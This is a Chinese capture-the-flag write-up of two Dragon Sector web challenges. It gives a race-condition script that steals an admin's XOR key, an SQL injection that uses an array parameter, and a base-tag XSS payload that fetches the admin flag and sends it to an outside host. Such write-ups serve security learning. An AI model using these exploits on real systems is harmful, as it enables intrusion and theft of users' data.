3NTERPRISE s0lution

题目直接给出了源码,我已经贴在了 gist 上:https://gist.github.com/syang2forever/b90c36a66b7f826010d05be13d83d2a6

下面来看题目,进来之后是个很明显的 登录/注册 界面,审计完代码后确认题目利用点应该不是此处,那随意注册个名字登录即可:

view 1

进入后我们可以看到题目提供的功能,主要有以下两项:

  1. 发布一个 note
  2. 查看发布的 note

view 2

发布的 note 会被自动分配一个 id,那很自然的想到尝试访问 id 为 1 的页面:

view 3

可以看到该页面是由 admin 发布的,但显示的是一段密文,然后页面会进行解密(并得到错误的结果)

查看页面源代码,可以发现执行的是异或加密的解密过程,页面会从 http://solution.hackable.software:8080/note/getkey 处请求对应的密钥

<textarea rows=20 cols=40 id="note_data">07D8B68CDB92A687DFC74217C9D7F47E84540A3C97BA3D2B8B5B3E1C110A4C54F09392ADC910461BF61AA4AC6D921591556D1AAFCB8495144C27748369FC101847D7C2A9508F6534FFB7BCF859FD3ED8863611400F9ECB56064C20EDF0B6F6B1BF1CBB522A91F0C9B2</textarea><br>
<div id="konsole">
  Note encrypted ... <br>
</div>
<script>
  var org_content = '';
  var pos = 0;
  function ll(msg){ jQuery("#konsole").append("[+] " + msg + "<br>"); }
  window.setTimeout(function(){ fetch_key() }, 1000)
  function fetch_key(){
    ll("getting key ... ");
    jQuery.get(
      "/note/getkey", 
      function(data){
        ll("got key ...");
        window.setTimeout(function(){ decode(data.key); }, 1000)
      }
    )
  }

  function hex_to_ascii(str1){
    var hex  = str1.toString();
    var str = '';
    for (var n = 0; n < hex.length; n += 2) {
      str += String.fromCharCode(parseInt(hex.substr(n, 2), 16));
    }
    return str;
  }

  function decode(key){
    ll("decoding ... ");
    var note = jQuery("#note_data")
    window.hex_content = note.val();
    window.pos = 0;
    window.org_content = hex_to_ascii(window.hex_content);
    window.key_content = hex_to_ascii(key);
    window.key_len = key.length;
    window.plaintext = '';
    note.val('');
    decode_iter();
  }
  function decode_iter(){
    var note = jQuery("#note_data");
    if (window.pos >= window.org_content.length){
      return ll("Done !");
    }
    c1 = window.org_content.charCodeAt(pos);
    c2 = window.key_content.charCodeAt(pos % window.key_len);
    c3 = c1 ^ c2;
    // console.log(c1 + " xor "+ c2 + " = "+ c3); // no loggin on prod !
    window.plaintext += String.fromCharCode(c3)
    note.val(window.plaintext + window.hex_content.slice(2+pos*2));
    window.pos += 1
    window.setTimeout(function(){decode_iter();}, 120);
  }
</script>

这里就解答了我们之前的疑惑,为什么解密的结果是错误的?因为 admin 的密文是用他的密钥加密的,而直接访问该链接只能得到我们直接的密钥,所以解密的结果必然出错。那么我们现在的目的很明确,获得 admin 用户的加密密钥。

从源码中,我们可以看到有两种途径来获得 key,第一种是直接调用 /note/getkey,第二种方式则较为间接,我们调用 note/add,然后发送一大段内容为 \x00 的文本,由于异或加密的性质,加密后的密文即加密使用的密钥

@app.route("/note/getkey")
@loginzone
def do_note_getkey():
  return flask.jsonify(dict(
    key=backend.get_key_for_user(flask.session.get(K_AUTH_USER))
  ))

@app.route("/note/add", methods=['POST'])
@loginzone
def do_note_add_post():
  text = get_required_params("POST", ["text"])["text"]
  key = backend.cache_load(flask.session.sid)
  if key is None:
    raise WebException("Cached key")
  text = backend.xor_1337_encrypt(
    data=text,
    key=key,
  )
  note = model.Notes(
    username=flask.session[K_LOGGED_USER],
    message=backend.hex_encode(text),
  )
  sql_session.add(note)
  sql_session.commit()
  add_msg("Done !")
  return do_render()

虽然第一种方式更为直接,但后来的测试表明,本题有个很明显的坑在于 key 的长度不止 20 bytes,所以我们必须使用第二种方式来获得 key。

下一步需要思考如何修改加密的密钥,可以看到程序代码中获得密钥的操作是 backend.cache_load,而在程序中恰好有另一个函数可以修改 cache:

@app.route('/login/user', methods=['POST'])
def do_login_user_post():
  username = get_required_params("POST", ['login'])['login']
  backend.cache_save(
    sid=flask.session.sid,
    value=backend.get_key_for_user(username)
  )
  state = backend.check_user_state(username)
  if state > 0:
    add_msg("user has {} state code ;/ contact backend admin ... ".format(state))
    return do_render()
  flask.session[K_LOGGED_IN] = False
  flask.session[K_AUTH_USER] = username

  return do_302("/login/auth")

可以发现我们可以通过传入 login:admin 的方式将 cache 缓存的密钥修改为 admin 所持有的密钥,然后程序从缓存中读取该密钥进而加密内容,我们就能非常顺利的获得密钥了。但在正常情况下先后调用两个函数是不可能的,因为 do_login_user_post 会取消用户的登录状态,所以这里就需要利用竞争。

既然我们清楚这道题的考点是条件竞争,那么写代码就是相当容易的一件事情了:

import requests
import threading

s = requests.Session()

def user_login(name):
    s.post('http://solution.hackable.software:8080/login/user', data={'login':name})

def user_auth(password, token):
    s.post('http://solution.hackable.software:8080/login/auth', data={'password':password, 'token': token})

def add_note():
    text = chr(0x00)*160
    s.post('http://solution.hackable.software:8080/note/add',{'text':text})

def main():
    while True:
        user_login('exec')
        user_auth('exec', 'exec')
        t1 = threading.Thread(target=user_login, args=('admin',))
        t2 = threading.Thread(target=add_note)
        t1.start()
        t2.start()

if __name__ == '__main__':
    main()

view 4

成功获得 admin 的密钥:4FB198AC92B2D1EEACAF6242E9BB811DEF7A2A73F9D6440BC27B5D7D7F2A3C3B83E0F7DEE9762A7A912084E81FF57BC22E212AC3EADBC04B24130EDC0BAE24792C88B6C131FB3A018AC7CEA72ECE0DBAB246616148ECAA227C6D5DCDDE98D891D7799B3A,结合密文解密得到 flag:

Hi. I wish U luck. Only I can posses flag: DrgnS{L0l!_U_h4z_bR4ak_that_5upr_w33b4pp!Gratz!} ... he he he

Notepad

本题是基于 express 框架的 nodejs 程序,后端数据库是 PostgreSQL,不过这些都是次要的,本题考点是 xss。

题目提供了 4 个功能:

  1. 注册
  2. 登录
  3. 发布 note
  4. 查看 note

以及你可以 pin 一个 note,或是向管理员报告这个 note,这样管理员就会来查看你发布的 note。

view 5

查看源码,我们可以看到我们之前的输入会以 json 的形式被页面存储,然后页面会调用 notes.js 动态生成相应内容

<script nonce="bd08c56c76fc48253d0e8dbd7018ec5b">window.notes = [{"id":5001,"title":"test","content":"test","pinned":false}];</script>
<script nonce="bd08c56c76fc48253d0e8dbd7018ec5b" src="/javascripts/notes.js"></script>
'use strict';

$(document).ready(function() {
  var container = $('#notes');
  var template = $('#note').html();

  function createNote(note) {
    var element = $(template);
    element.find('.title').attr('href', '/notes/' + note.id);
    element.find('.title').html(note.title);

    element.find('.pin').attr('action', '/notes/' + note.id + '/pin');
    if (note.pinned) {
      element.find('.pin-text').text('Unpin');
      element.find('.pin input[name="value"]').attr('value', '0');
    } else {
      element.find('.pin-text').text('Pin');
      element.find('.pin input[name="value"]').attr('value', '1');
    }

    element.find('.report').attr('href', '/notes/' + note.id + '/report');
    element.find('.delete').attr('action', '/notes/' + note.id + '/delete');

    var body = element.find('.body');
    note.content.split('\n').forEach(function(text, line) {
      var el = $('<p></p>');
      el.text(text);
      if (line === 0) el.addClass('lead');
      body.append(el);
    });

    container.append(element);
  }

  if (window.notes.length) {
    window.notes.forEach(createNote);
  } else {
    container.append("<p>You don't have any notes</p>");
  }
});

这么现在利用的方式非常明显了,我们需要控制 title 或者是 content 在页面中注入相应代码。回到源码上,我们可以看到这一段的逻辑在 /routes/notes.js 中:

router.post('/new', async (req, res) => {
  const regex = /[<>]/;

  let errors = [];
  if (regex.test(req.body.title)) {
    errors.push('Title is invalid');
  }

  if (regex.test(req.body.content)) {
    errors.push('Content is invalid');
  }

  if (errors.length !== 0) {
    return res.render('new', {errors});
  }

  const result = await req.db.get `INSERT INTO notes (title, content, user_id) VALUES (${req.body.title}, ${req.body.content}, ${req.session.userId}) RETURNING id`;
  if (result) {
    return res.redirect(`/notes/${result.id}`);
  } else {
    res.render('new', {errors: [`Error occurred while saving your note`]});
  }
});

可以看到由于正则的存在使得我们无法直接传入相应 payload,因为我们要闭合标签必然要引入尖括号。但这是不是无法解决的呢?在万能的 js 中,一切都是可能的!

我们注意到 routes/notes.js 中定义的路由在执行 sql 语句时,存在着一个注入点,所以可以尝试在 req.body.value 处进行 sql 注入:

router.post('/:noteId(\\d+)/pin', async (req, res) => {
  if (req.body.value.length === 1) {
    const result = await req.db.run(`UPDATE notes SET pinned = ${req.body.value}::boolean WHERE id = ${req.params.noteId}`);
    if (result.error) {
      return res.render('index', {errors: ['An error occurred']});
    }
  }

  res.redirect('/notes');
});

但上述利用点对 value 的长度有一定限制,不能超过 1,但在这里,我们可以通过将 value 赋值成数组的方式绕过,因为数组恰好满足了长度为 1 的要求,而且在字符串模板拼接会被自动解包:

const value = ["1::boolean, title='</script><base href=http://example.com/>' WHERE id = 8888--"]
console.log(`UPDATE notes SET pinned = ${value}::boolean WHERE id = 8888`);
// output
// UPDATE notes SET pinned = 1::boolean, title='</script><base href=http://example.com/>' WHERE id = 8888--::boolean WHERE id = 8888

既然这里已经确认存在一个 xss 的利用点了,然后下一步就是绕过 CSP 的限制。

app.use((req, res, next) => {
  res.set('X-XSS-Protection', '0');
  res.set('Content-Security-Policy', `
    default-src 'none';
    script-src 'nonce-${res.locals.nonce}' 'strict-dynamic';
    style-src 'self' https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css;
    img-src 'self';
    connect-src 'self';
    frame-src https://www.google.com/recaptcha/;
    form-action 'self';
  `.replace(/\n/g, ''));
  next();
});

可以看到 CSP 对我们的脚本做了比较严格的限制,但我们仍然有办法:使用 <base> 标签。根据 <base> 的定义,它可以为页面上的所有链接规定一个默认地址或默认目标,然后浏览器随后将使用指定的基本 URL 来解析所有的相对 URL,包括 <a> \ <img> 等标签。这样我们就可以将 javascripts/notes.js 指向部署在我们自己网站上的 payload,例如:

// javascripts/notes.js in our websites
fetch('http://nodepad.hackable.software:3000/admin/flag').then((res) => {
    res.text().then((text) => {
        location.href = 'http://example.com/?flag=' + btoa(text);
    });
})

一波操作:

Postman

成功获得 flag:DrgnS{Ar3_Y0u_T3mP14t3d?}

PS: r3kapig 的大佬貌似使用了对象的方式绕过,具体原因大概是数据库操作时会进行的解包操作?感兴趣的朋友可以尝试一下(再告诉我,逃

总结

Dargon Sector 不愧是国际强队,出的题目也相当的有质量,使人在做题之余也收获颇丰。

参考资料